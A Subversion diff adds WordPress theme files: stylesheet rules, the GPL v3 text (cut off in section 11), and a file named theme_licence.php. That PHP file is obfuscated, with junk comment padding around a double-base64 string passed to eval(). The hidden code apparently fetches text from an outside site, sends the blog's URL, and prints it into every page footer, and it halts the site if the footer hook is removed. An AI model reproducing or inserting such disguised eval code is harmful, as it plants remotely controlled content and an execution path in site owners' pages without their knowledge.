+	#footer div {
+		width: 946px;
+		margin: auto auto;
+		text-align: left;
+	}
+	#footer .l {
+		float: left;
+	}
+	#footer .r {
+		float: right;
+	}
+	#footer a {
+		color: #6699cc;
+	}
+/** END footer **/
+
+/** BEGIN misc **/
+#list3 a {
+	color: #333333;
+}
+#list3 a:hover {
+	color: #FF9F00;
+}
+#content .single {
+	padding: 10px;
+	font-size: 0.9em;
+}
+#content .single h2 {
+	padding-bottom: 15px;
+}
+#content .single h2 a {
+	color: #6699CC;
+}
+#content .single p {
+	margin-bottom: 10px;
+}
+#content .single h3 {
+	margin-bottom: 5px;
+	font-size: 1.3em;
+}
+#content .single ul {
+	padding-left: 15px;
+	margin-bottom: 10px;
+}
+#content .single ul li {
+	padding: 2px 0;
+}
+#content .single ol {
+	padding-left: 20px;
+	margin-bottom: 10px;
+}
+#content .single ol li {
+	padding: 2px 0;
+}
+#content .single blockquote {
+	font-style: italic;
+	padding: 10px;
+	background-color: #EEEEEE;
+	border-width: 1px 0;
+	border-style: solid;
+	border-color: #E3E3E3;
+	margin-bottom: 10px;
+}
+#content .single .details {
+	clear: both;
+	border-width: 1px 0;
+	border-style: dotted;
+	border-color: #B5B5B5;
+	text-transform: none !important;
+	line-height: 1.6em;
+	padding: 5px 0 !important;
+}
+	#content .single .details a {
+		margin: 0 !important;
+		font-weight: bold;
+	}
+	#content .single .details .l {
+		float: left;
+		width: 35%;
+		margin-bottom: 0 !important;
+	}
+	#content .single .details .r {
+		float: right;
+		width: 55%;
+		margin-bottom: 0 !important;
+	}
+#content .single {
+	border-bottom: 0 !important;
+}
+#content .single h2 {
+	font-size: 1.5em !important;
+	text-transform: none !important;
+	font-size: 1.5em;
+}
+#comments {
+	padding: 0 10px 20px;
+	font-size: 0.9em;
+}
+	#comments h2 {
+		margin: 10px 0;
+		font-size: 1.5em;
+	}
+	#comments p {
+		margin-bottom: 10px;
+		line-height: 1.5em;
+	}
+	#comments form {
+		padding-top: 20px;
+	}
+	#comments form p {
+		margin-bottom: 5px;
+	}
+	.commentdetails {
+		margin-top: 25px;
+	}
+	.commentauthor {
+		margin-bottom: 5px !important;
+		font-weight: bold;
+	}
+	.commentdate {
+		font-size: 0.8em;
+		margin-bottom: 5px;
+		color: #909090;
+	}
+	.required {
+		color: #ff0000;
+	}
+.sdetails {
+	clear: both;
+	font-size: 0.8em;
+	padding-top: 20px;
+}
+	.sdetails p {
+		margin-bottom: 5px !important;
+		color: #909090;
+	}
+	.sdetails a {
+		color: #909090;
+	}
+	.sdetails a:hover {
+		color: #282828;
+	}
+#respond {
+	padding-top: 20px;
+}
+#postnav {
+	font-size: 0.9em;
+	padding: 20px;
+}
+/** END misc **/
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/theme_licence.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/theme_licence.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/theme_licence.php	(revision 44)
@@ -0,0 +1,3 @@
+<?/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
+asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
+asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/GPL.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/GPL.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/GPL.txt	(revision 44)
@@ -0,0 +1,621 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
